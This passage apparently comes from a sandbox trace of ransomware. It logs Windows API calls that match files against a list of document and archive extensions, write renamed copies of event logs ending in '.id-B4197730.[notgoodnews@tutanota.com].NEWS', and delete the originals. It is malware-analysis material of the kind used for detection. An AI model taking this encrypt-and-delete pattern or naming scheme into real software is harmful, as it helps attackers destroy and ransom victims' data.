[0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".doc") returned 4 [0074.119] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".docx") returned 5 [0074.119] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0074.119] lstrlenW (lpString=".pdf") returned 4 [0074.119] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".xls") returned 4 [0074.119] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".xlsx") returned 5 [0074.119] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0074.119] lstrlenW (lpString=".ppt") returned 4 [0074.119] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".zip") returned 4 [0074.119] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".rar") returned 4 [0074.119] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0074.120] lstrlenW (lpString=".bz2") returned 4 [0074.120] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0074.120] lstrlenW (lpString=".7z") returned 3 [0074.120] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0074.120] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.120] lstrlenW (lpString=".dbf") returned 4 [0074.120] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0074.120] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.120] lstrlenW (lpString=".1cd") returned 4 [0074.120] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0074.120] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.120] lstrlenW (lpString=".jpg") returned 4 [0074.120] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0074.120] lstrcmpiW (lpString1=".sys", lpString2=".NEWS") returned 1 [0074.120] lstrlenW (lpString="hiberfil.sys") returned 12 [0074.121] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.121] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.121] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.121] lstrlenW (lpString=".doc") returned 4 [0074.121] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0074.121] lstrlenW (lpString=".docx") returned 5 [0074.121] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0074.121] lstrlenW (lpString=".pdf") returned 4 [0074.121] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0074.121] lstrlenW (lpString=".xls") returned 4 [0074.121] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0074.121] lstrlenW (lpString=".xlsx") returned 5 [0074.121] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0074.121] lstrlenW (lpString=".ppt") returned 4 [0074.122] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".zip") returned 4 [0074.122] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0074.122] lstrlenW (lpString=".rar") returned 4 [0074.122] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString=".bz2") returned 4 [0074.122] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString=".7z") returned 3 [0074.122] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".dbf") returned 4 [0074.122] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".1cd") returned 4 [0074.122] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".jpg") returned 4 [0074.122] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".doc") returned 4 [0074.122] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString=".docx") returned 5 [0074.122] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0074.122] lstrlenW (lpString=".pdf") returned 4 [0074.122] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString=".xls") returned 4 [0074.122] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0074.122] lstrlenW (lpString=".xlsx") returned 5 [0074.122] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0074.122] lstrlenW (lpString=".ppt") returned 4 [0074.122] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0074.122] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.122] lstrlenW (lpString=".zip") returned 4 [0074.122] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0074.123] lstrlenW (lpString=".rar") returned 4 [0074.123] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0074.123] lstrlenW (lpString=".bz2") returned 4 [0074.123] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0074.123] lstrlenW (lpString=".7z") returned 3 [0074.123] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0074.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.123] lstrlenW (lpString=".dbf") returned 4 [0074.123] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0074.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.123] lstrlenW (lpString=".1cd") returned 4 [0074.123] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0074.123] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0074.123] lstrlenW (lpString=".jpg") returned 4 [0074.123] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0074.123] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.123] lstrlenW (lpString="Application.evtx") returned 16 [0074.123] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0074.156] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.164] CloseHandle (hObject=0x35c) returned 1 [0074.164] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0074.164] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\application.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.164] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0074.164] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.164] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.164] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\application.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.164] GetLastError () returned 0x0 [0074.164] ReadFile (in: hFile=0x35c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.168] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.170] ReadFile (in: hFile=0x35c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.170] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0074.170] SetEndOfFile (hFile=0x37c) returned 1 [0074.170] CloseHandle (hObject=0x37c) returned 1 [0074.172] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.172] SetEndOfFile (hFile=0x35c) returned 1 [0074.174] CloseHandle (hObject=0x35c) returned 1 [0074.174] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.174] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0074.174] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.174] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.174] lstrlenW (lpString=".doc") returned 4 [0074.174] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.174] lstrlenW (lpString=".docx") returned 5 [0074.174] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.174] lstrlenW (lpString=".pdf") returned 4 [0074.174] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.174] lstrlenW (lpString=".xls") returned 4 [0074.174] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.174] lstrlenW (lpString=".xlsx") returned 5 [0074.174] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.174] lstrlenW (lpString=".ppt") returned 4 [0074.174] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.174] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.174] lstrlenW (lpString=".zip") returned 4 [0074.175] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".rar") returned 4 [0074.175] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".bz2") returned 4 [0074.175] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".7z") returned 3 [0074.175] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString=".dbf") returned 4 [0074.175] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString=".1cd") returned 4 [0074.175] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString=".jpg") returned 4 [0074.175] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString=".doc") returned 4 [0074.175] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".docx") returned 5 [0074.175] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.175] lstrlenW (lpString=".pdf") returned 4 [0074.175] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".xls") returned 4 [0074.175] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".xlsx") returned 5 [0074.175] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.175] lstrlenW (lpString=".ppt") returned 4 [0074.175] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.175] lstrlenW (lpString=".zip") returned 4 [0074.175] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".rar") returned 4 [0074.175] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.175] lstrlenW (lpString=".bz2") returned 4 [0074.176] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.176] lstrlenW (lpString=".7z") returned 3 [0074.176] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.176] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.176] lstrlenW (lpString=".dbf") returned 4 [0074.176] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.176] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.176] lstrlenW (lpString=".1cd") returned 4 [0074.176] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.176] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0074.176] lstrlenW (lpString=".jpg") returned 4 [0074.176] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.176] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.176] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0074.176] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0074.176] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.176] CloseHandle (hObject=0x35c) returned 1 [0074.176] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0074.176] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.176] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0074.177] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.177] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.177] GetLastError () returned 0x0 [0074.177] ReadFile (in: hFile=0x35c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.182] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.184] ReadFile (in: hFile=0x35c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.184] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x132, lpOverlapped=0x0) returned 1 [0074.184] SetEndOfFile (hFile=0x37c) returned 1 [0074.184] CloseHandle (hObject=0x37c) returned 1 [0074.186] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.186] SetEndOfFile (hFile=0x35c) returned 1 [0074.188] CloseHandle (hObject=0x35c) returned 1 [0074.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.188] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0074.188] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.188] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.188] lstrlenW (lpString=".doc") returned 4 [0074.188] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.188] lstrlenW (lpString=".docx") returned 5 [0074.188] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.188] lstrlenW (lpString=".pdf") returned 4 [0074.188] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.188] lstrlenW (lpString=".xls") returned 4 [0074.188] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.188] lstrlenW (lpString=".xlsx") returned 5 [0074.188] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.189] lstrlenW (lpString=".ppt") returned 4 [0074.189] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString=".zip") returned 4 [0074.189] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".rar") returned 4 [0074.189] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".bz2") returned 4 [0074.189] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".7z") returned 3 [0074.189] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString=".dbf") returned 4 [0074.189] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString=".1cd") returned 4 [0074.189] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString=".jpg") returned 4 [0074.189] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.189] lstrlenW (lpString=".doc") returned 4 [0074.189] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".docx") returned 5 [0074.189] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.189] lstrlenW (lpString=".pdf") returned 4 [0074.189] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".xls") returned 4 [0074.189] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.189] lstrlenW (lpString=".xlsx") returned 5 [0074.189] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0074.189] lstrlenW (lpString=".ppt") returned 4 [0074.189] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.190] lstrlenW (lpString=".zip") returned 4 [0074.190] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString=".rar") returned 4 [0074.190] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString=".bz2") returned 4 [0074.190] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString=".7z") returned 3 [0074.190] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0074.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.190] lstrlenW (lpString=".dbf") returned 4 [0074.190] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.190] lstrlenW (lpString=".1cd") returned 4 [0074.190] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0074.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0074.190] lstrlenW (lpString=".jpg") returned 4 [0074.190] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0074.190] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.190] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0074.190] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.633] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0074.633] CloseHandle (hObject=0x354) returned 1 [0074.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0074.633] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.633] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.633] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.634] GetLastError () returned 0x0 [0074.634] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0074.637] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0074.639] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.639] WriteFile (in: hFile=0x344, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x170, lpOverlapped=0x0) returned 1 [0074.639] SetEndOfFile (hFile=0x344) returned 1 [0074.639] CloseHandle (hObject=0x344) returned 1 [0074.641] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.641] SetEndOfFile (hFile=0x354) returned 1 [0074.642] CloseHandle (hObject=0x354) returned 1 [0074.642] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0074.643] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0074.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0074.643] lstrlenW (lpString=".doc") returned 4 [0074.643] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString=".docx") returned 5 [0074.643] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0074.643] lstrlenW (lpString=".pdf") returned 4 [0074.643] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0074.643] lstrlenW (lpString=".xls") returned 4 [0074.643] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0074.643] lstrlenW 